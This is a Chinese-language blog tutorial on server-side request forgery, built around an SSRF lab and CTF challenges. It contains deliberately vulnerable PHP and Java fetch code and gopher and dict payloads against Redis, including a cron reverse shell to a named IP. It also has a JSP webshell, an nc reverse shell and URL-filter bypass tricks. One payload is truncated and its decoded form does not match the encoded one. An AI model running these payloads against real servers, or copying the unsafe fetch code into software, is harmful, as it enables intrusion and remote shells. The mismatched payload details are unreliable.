从0到1完全掌握SSRF
Drunkbaby Lv6

本文首发于 FreeBuf https://www.freebuf.com/articles/web/333318.html

从0到1完全掌握 SSRF

二刷漏洞:知其所以然 <-> 知其然 -> 懂其攻 -> 知其守

  • 主要结合 SSRF-Lab 进行 SSRF 的学习。

0x01 前言

刚二刷完 CSRF,继续 SSRF

SSRF 主要是由于一些危险函数与危险协议产生的。我们以 PHP 为例,列举一下这些危险函数。

1
2
3
4
file_get_contents()
fsockopen()
curl_exec()
SoapClient
  • 一些危险协议
1
2
3
4
5
file://
gopher
dict

etc...

0x02 知其然:什么是 SSRF?

  • 先挂一张生动的图

攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,redis,SMTP 等等 ……

SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

  • 正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。

0x03 SSRF 的原理

  • 从一般的面试角度出发的话,有几个针对 SSRF 常见的面试问题。

    • SSRF 中可以利用的协议有哪一些?
    • SSRF 中能利用的函数一般有哪些?
    • 讲一讲 CTF 中有没有遇到过 SSRF,当时是怎么解决的。
    • SSRF 的原理

如果不在知道原理的基础上回答这些问题,很多都只是有一知半解的感觉,所以我们先把原理讲清楚了再进行下一步。

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。

0x04 SSRF 的利用方式

  • 主要分为两个方向,SSRF 利用相关的危险函数;SSRF 可利用的协议操作

SSRF 利用相关的危险函数

以 PHP 为例,说明一些可利用的危险函数

1. file_get_contents() 与 readfile()

file_get_contents 这一函数是把 传入的参数(变量) 写入字符串,当把 传参 是内网文件的时候,会先去吧这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。一般这种攻击也与目录遍历相结合。

1
2
3
4
5
// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

2. fsockopen()

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof()) 如果调用失败,将返回false。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

构造 ssrf.php?url=www.baidu.com 即可成功触发 ssrf 并返回百度主页,这种更像是一种重定向 (302) 之类的,没什么用。

3. curl_exec()

curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供 curl_setopt(),curl_exec()和curl_close() 函数使用。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ssrf.php
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源

// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>

构造 ssrf.php?url=www.baidu.com 即可成功触发 ssrf 并返回百度主页:

  • 但是攻击方式不止这么一点,其实是可以通过其他方式提高 curl_exec() 这里的攻击危害的。

最常见的是通过 file、dict、gopher 这三个协议来进行渗透。

1
2
3
4
curl -vvv 'dict://127.0.0.1:6379/info' 
curl -vvv 'file:///etc/passwd'
# * 注意: 链接使用单引号,避免$变量问题
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

SSRF 的危险协议

利用 SSRF-Lab 进行学习,一边代码审计一边学习漏洞利用。

  • 可利用的主要就几个协议吧
    • file 协议结合目录遍历读取文件。
    • gopher 协议打开端口。
    • dict 协议主要用于结合 curl 攻击。
    • http 协议进行内网探测。

SSRF-Lab 搭建教程

1. file 协议的利用

Payload

1
file:///etc/password  # file:// 之后可以接任意文件

这里的 Payload 只是一个基础示范,还可以读取很多文件,在实战渗透当中,更多情况应该是通过 GET 请求攻击的。

1
http://ip/index.php?url=file:///etc/password

而在 SSRF-Lab 当中较简单,在框中输入 file:///etc/password 即可。

2. dict 协议的使用

利用 dict 协议,dict://ip/info 可获取本地 redis 服务配置信息。

如果在靶场当中要尝试 dict 协议读取 Redis 需要先安装一下 redis-server,具体可见 redis 与 dict 协议

3. gopher 协议的使用

首先先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议

1
2
3
4
5
6
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据

这便是常见的exp,只需自己更改IP和端口即可,改成适配于 Gopher 协议的 URL:

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0

经过url解码便是:

1
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit

0x05 一些常见的绕过手法

1. @绕过

URL的完整格式是

1
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

所以你访问

1
> <a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1

1
http://1.1.1.1

效果是一样的,因为解析的本来就是 @ 后面的服务器地址。

2. 进制绕过

  • 这里可以参考 SSRF-Lab advance 的第一题的。

源代码

1
2
3
4
5
6
7
if (preg_match('#^https?://#i', $handler) !== 1) {   
echo "Wrong scheme! You can only use http or https!";
die();
} else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}

php 代码中通过正则对输入的 IP 进行了过滤。

众所周知,IP 地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响 IP 地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍 IP 地址的表达方式。

1
2
3
4
字符串:       10.0.0.3  
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163

这些表达方式都能被 curl 命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用 16 进制 0x0A000003 表示IP地址,还有一个很少人知道的绕过小姿势,就是用 8 进制代替 10 进制来表示 IP 地址。在计算机的世界里,一旦在 20 前面加个 0 就会变成8进制,比如 http://01200000003 实际上还是 http://10.0.0.3。上面两个表达方式,PHP 的 curl 模块能解析出来。

1
2
3
十六进制:   http://0x0A.0x00.0x00.0x03  
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3

3. 用句号替换 “.”

4. xip.io 和 xip.name 绕过

  • 泛域名解析,无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析。
1
2
10.0.0.1.xip.io # 解析到 10.0.0.1 
www.10.0.0.2.xip.io # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

xip.name 在使用上与 xip.io 一致

1
2
10.0.0.1.xip.name # 解析到 10.0.0.1 
www.10.0.0.2.xip.name # www 子域解析到 10.0.0.2 mysite.10.0.0.3.xip.name # mysite 子域解析到 10.0.0.3 foo.bar.10.0.0.4.xip.name # foo.bar 子域解析到 10.0.0.4

5. DNS 重绑

这种绕过方式还是很有效的,HackTheBox 上有一道 CTF 题目就是 DNS 重绑的。

HackTheBox-baby-CachedView | 芜风

密码可以私聊我

DNS 重绑的话,原理如图所示

工具网站如下
https://lock.cmpxchg8b.com/rebinder.html

简单叙述一下逻辑:

1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
2.若在,退出报错
3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。

效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。

0x06 SSRF in Java

Java 中 SSRF 的存在性

  • 这里和 PHP 相差还是有多大的,首先是协议问题,由于 Java 没有 php 的 cURL,所以 Java SSRF 支持的协议,不能像 php 使用 curl -V 查看。

然后 Java 里面的 SSRF,本质上其实和 PHP 一样,就是建立 URL 连接的原理

import sun.net.www.protocol可以看到,支持以下协议

1
file ftp mailto http https jar netdoc

然后也看到了一些师傅的总结吧,感觉有些地方不是特别准确,具体的其实代码审计一看就清晰了。

一般是需要有 URL 这种,然后建立 URLConnection,代码可以是如下 ———— 参考 CTFShow 844

1
2
3
4
5
6
7
8
9
10
11
12
13
public String goPage(@RequestParam Map<String, String> param) {  
String result = "";
String request = "";
String url = (String)param.get("url");
String port = (String)param.get("port");
if (null != url && null != param && !param.isEmpty()) {
try {
Socket socket = new Socket(url, Integer.valueOf(port));
OutputStream out = socket.getOutputStream();


………… 后续内容省略

这里就建立了 Socket 请求,也就是网络请求,所以存在 SSRF。

攻击

Java SSRF 的攻击手段和 PHP 的类似,都是写入 shell,或者直接打 Redis 未授权,但是 PHP 的那个脚本,在 Java 里面用不了,所以这一块稍微总结一下写入 shell 的攻击手段。

还是以 CTFShow 844 为例,要发包的接口是 /goPage;两个参数 url 和 port。尝试访问 6379 端口,发现可行。尝试写 shell

这里的 payload

1
config= set dir /usr/local/tomcat/webapps/ROOT/&config set dbfilename 1.jsp&set xx '<%Runtime.getRuntime().exec(new String[]{"sh","-c",request.getParameter("i")});%>'&save=&quit=&url=127.0.0.1&port=6379

进行一下 url 编码之后打

1
goPage?config=%20set%20dir%20/usr/local/tomcat/webapps/ROOT/&config%20set%20dbfilename%201.jsp&set%20xx%20'%3C%25Runtime.getRuntime().exec(new%20String%5B%5D%7B%22sh%22%2C%22-c%22%2Crequest.getParameter(%22i%22)%7D)%3B%25%3E'&save=&quit=&url=127.0.0.1&port=6379

然后完成弹 shell

1
1.jsp?i=nc xxx.xx.xx.xx 3333 -e /bin/sh

0x07 小结

SSRF 整体上来说入门并不难,难的是在实战渗透当中想到这么做。利用 SSRF-Lab 可以省去自己搭环境的时间。

  • 对于 CTF 选手来说,SSRF 的绕过手段,尤其是 DNS 重绑这个绕过方式挺厉害的,建议学习。

0x08 参考资料

https://www.anquanke.com/post/id/262430
https://se8s0n.github.io/2019/05/19/SSRF-LABS%E6%8C%87%E5%8D%97/
https://xz.aliyun.com/t/7333
https://www.freebuf.com/articles/web/260806.html

 评论